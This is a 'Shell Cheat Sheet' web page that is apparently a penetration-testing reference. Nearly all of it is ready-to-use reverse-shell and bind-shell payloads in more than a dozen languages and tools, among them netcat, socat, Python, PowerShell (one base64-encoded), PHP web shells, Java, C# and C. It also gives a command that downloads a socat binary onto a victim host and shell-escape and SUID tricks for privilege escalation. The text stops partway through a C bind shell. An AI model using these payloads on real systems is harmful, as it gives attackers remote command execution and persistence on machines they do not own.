Command References

Select a General Command Topic

Shell Cheat Sheet

Reverse Shells

# OhMyZSH breaks this trick, using sh is recommended
# Using STTY
# In reverse shell start a PTY
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-Z # Backgrounds the shell

# Execute commands which will be on your machine, not in the shell
$ stty raw -echo
$ fg # Brings backgrounded shell to active foreground

# In your shell now execute
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty -raw echo
OR
$ stty rows <num> columns <cols>
                                            
# Bash UDP Start Listener
nc -u -lvp 4444

# Establish UDP Shell Connection
sh -i >& /dev/udp/127.0.0.1/4444 0>&1
                                            
# Bash TCP Start Listener
nc -lvnp 4444

# Establish TCP Shell Connection
sh -i >& /dev/tcp/127.0.0.1/4444 0>&1
                                            
/bin/bash -l > /dev/tcp/127.0.0.1/4444 0<&1 2>&1
                                            
0<&196;exec 196<>/dev/tcp/127.0.0.1/4444; sh <&196 >&196 2>&196
                                            
exec 5<>/dev/tcp/127.0.0.1/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
                                            
sh -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5
                                            
sh -i >& /dev/udp/127.0.0.1/4444 0>&1
                                            
sqlite3 /dev/null '.shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f'
                                            
# OpenBSD
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
                                            
# OpenBSD 2 
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1337 >/tmp/f
                                            
nc 127.0.0.1 4444 -e bash
                                            
nc.exe 127.0.0.1 4444 -e bash
                                            
busybox nc 127.0.0.1 4444 -e bash
                                            
nc -c sh 127.0.0.1 4444
                                            
ncat 127.0.0.1 4444 -e bash
                                            
ncat --udp 127.0.0.1 1337 -e /bin/bash
                                            
ncat.exe 127.0.0.1 4444 -e bash
                                            
public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/4444 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
public class shell {
    public static void main(String[] args) {
        ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/127.0.0.1/4444 0>&1")
            .redirectErrorStream(true);
        try {
            Process p = pb.start();
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class shell {
    public static void main(String[] args) {
        String host = "127.0.0.1";
        int port = 4444;
        String cmd = "sh";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {}
            }
            p.destroy();
            s.close();
        } catch (Exception e) {}
    }
}
socat TCP:127.0.0.1:4444 EXEC:sh
                                            
socat TCP:127.0.0.1:4444 EXEC:'sh',pty,stderr,setsid,sigint,sane
                                            
# Start Listener and use -d for verbosity
socat TCP4-LISTEN:443 STDOUT

# Connect to Listener
socat TCP4-LISTEN:443 STDOUT
                                            
# SOCAT ENCRYPTED REVERSE SHELL
# Start Listener
socat -d -d OPENSSL-LISTEN:443,cert=bind.pem,verify=0,fork STDOUT
                                                
# Connect shell
LINUX:   socat OPENSSL:127.0.0.1:443,verify=0 EXEC:/bin/bash
WINDOWS: socat OPENSSL:127.0.0.1:443,verify=0 EXEC:'cmd.exe',pipes
                                            
# USE SOCAT FROM ONLINE BINARY
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:1337
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4444
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:1337
                                            
export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
                                            
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
                                            
python -c export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
                                            
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
                                            
python -c import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",4444))

p=subprocess.Popen(["sh"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()
                                            
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
                                            
# Windows Python2
python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('127.0.0.1', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
                                            
# Windows Python3
python3.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('127.0.0.1',4444));threading.Thread(target=exec,args=(\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"
                                            
# IPv6 Python
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4444,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
                                            
# IPv6 Python No Spaces Shorthand
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4444,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
                                            
awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
                                            
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
                                            
String command = "var host = '127.0.0.1';" +
    "var port = 4444;" +
    "var cmd = 'sh';"+
    "var s = new java.net.Socket(host, port);" +
    "var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();"+
    "var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();"+
    "var po = p.getOutputStream(), so = s.getOutputStream();"+
    "print ('Connected');"+
    "while (!s.isClosed()) {"+
    "    while (pi.available() > 0)"+
    "        so.write(pi.read());"+
    "    while (pe.available() > 0)"+
    "        so.write(pe.read());"+
    "    while (si.available() > 0)"+
    "        po.write(si.read());"+
    "    so.flush();"+
    "    po.flush();"+
    "    java.lang.Thread.sleep(50);"+
    "    try {"+
    "        p.exitValue();"+
    "        break;"+
    "    }"+
    "    catch (e) {"+
    "    }"+
    "}"+
    "p.destroy();"+
    "s.close();";
String x = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""+command+"\")";
ref.add(new StringRefAddr("x", x);
                                            
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
or
user@attack$ ncat --ssl -vv -l -p 4444

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444 > /tmp/s; rm /tmp/s
                                            
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
                                            
String host="127.0.0.1";int port=4444;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
                                            
# Shell Method
</bin/sh -i

# Python Methods
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
echo os.system('/bin/bash')

# Perl Methods
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'

# Ruby Method
ruby: exec "/bin/sh"

# Lua Method
lua: os.execute('/bin/sh')

# Linux Binary Methods
# In Vim or Vi text editor
vim filename.txt # Opens vim text editor
# Press the [ESC] key to enter vi command mode
:!bash   # Type this command and hit [ENTER]
:set shell=/bin/bash:shell # Type this command and hit [ENTER]

vim.tiny
# Press [ESC] key
:set shell=/bin/sh :shell # Type this command and hit [ENTER]
vim.basic /root/.bashrc

# Nmap Method
nmap: !sh
nmap --interactive

# MySQL Method
mysql: ! bash

# Less Method
less /etc/passwd; !/bin/sh

# Which Method
which cp; ls -al /bin/cp; chmod u+s /bin/cp

# Socat Method
# WARNING
# Launch /bin/bash in Kali if your default shell is /bin/zsh
socat file:`tty`,raw,echo=0 tcp-listen:4444  
# On Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4444
                                        
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
                                            
<?=`$_GET[0]`?>
                                            
php -r '$sock=fsockopen("127.0.0.1",4444);exec("sh <&3 >&3 2>&3");'
                                            
php -r '$sock=fsockopen("127.0.0.1",4444);shell_exec("sh <&3 >&3 2>&3");'
                                            
php -r '$sock=fsockopen("127.0.0.1",4444);system("sh <&3 >&3 2>&3");'
                                            
php -r '$sock=fsockopen("127.0.0.1",4444);passthru("sh <&3 >&3 2>&3");'
                                            
php -r '$sock=fsockopen("127.0.0.1",4444);`sh <&3 >&3 2>&3`;'
                                            
php -r '$sock=fsockopen("127.0.0.1",4444);popen("sh <&3 >&3 2>&3", "r");'
                                            
php -r '$sock=fsockopen("127.0.0.1",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
                                            
# On Linux
perl -e &#39;use Socket;$i=&quot;127.0.0.1&quot;;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&#39;</span>
                                            
# On Linux 2
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
                                            
# On Windows
perl -MIO0 -e &#39;$c=new IO::Socket::INET(PeerAddr,&quot127.0.0.1:4444&quot;);STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;&#39;</span>
                                            
# Ruby Linux 1
ruby -rsocket -e ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("127.0.0.1",4444))'
                                            
# Ruby Linux 2
ruby -rsocket -e ruby -rsocket -e'exit if fork;c=TCPSocket.new("127.0.0.1","4444");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
                                            
# Ruby Windows
ruby -rsocket -e 'c=TCPSocket.new("127.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
                                            
$LHOST = "127.0.0.1"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
                                            
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"</span>
                                            
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
                                            
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"</span>
                                            
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
                                            
$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
                                            
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
                                            
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
    public class Program
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using(TcpClient client = new TcpClient("127.0.0.1", 4444))
            {
                using(Stream stream = client.GetStream())
                {
                    using(StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "sh";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while(true)
                        {
                            strInput.Append(rdr.ReadLine());
                            //strInput.Append("\n");
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }
        
    }
}
using System;
using System.Diagnostics;

namespace BackConnect {
    class ReverseBash {
        public static void Main(string[] args) {
            Process proc = new System.Diagnostics.Process();
            proc.StartInfo.FileName = "sh";
            proc.StartInfo.Arguments = "-c \"sh -i >& /dev/tcp/127.0.0.1/4444 0>&1\"";
            proc.StartInfo.UseShellExecute = false;
            proc.StartInfo.RedirectStandardOutput = true;
            proc.Start();

            while (!proc.StandardOutput.EndOfStream) {
            Console.WriteLine(proc.StandardOutput.ReadLine());
            }
        }
    }
}
TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 4444 0<$TF | /bin/sh 1>$TF
                                            
C='curl -Ns telnet://127.0.0.1:4444'; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
                                            
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("sh", argv, NULL);

    return 0;  
}                                         
                                            
# Compile Above Code
gcc /tmp/shell.c --output csh && csh
                                            
lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','4444');os.execute('sh -i <&3 >&3 2>&3');"
                                            
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
                                            
require('child_process').exec('nc -e sh 127.0.0.1 4444')
                                                
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(4444, "127.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();
                                                
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("127.0.0.1:4444").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}
                                                
import 'dart:io';
import 'dart:convert';

main() {
    Socket.connect("127.0.0.1", 4444).then((socket) {
    socket.listen((data) {
        Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
            .transform(utf8.decoder)
            .listen((output) { socket.write(output); });
        });
    },
    onDone: () {
        socket.destroy();
    });
    });
}
                                                
Shell Cheat Sheet

Bind Shells

# Python3 Bind
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4444));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
                                            
# Netcat Linux Bind
nc -nlvp 51337 -e /bin/bash
                                            
# Netcat OpenBSD Bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
                                            
# Perl Bind Shell
perl -e 'use Socket;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'
                                            
# PHP Bind Shell
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",4444);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
                                            
# Powercat Bind Shell
# Start Bind Listener
.\powercat.ps1 # Imports tool
powercat -l -p 4444 -ep

# Connect to Bind
.\powercat.ps1 # Imports tool
powercat -c 127.0.0.1 -p 4444
                                            
# Ruby Bind
ruby -rsocket -e 'f=TCPServer.new(4444);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
                                            
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
//#include <sys/types.h>

#define SHELL "/bin/bash"   // shell to spawn when connection is received

int main(int argc, char *argv[])
{
    char msg[512];
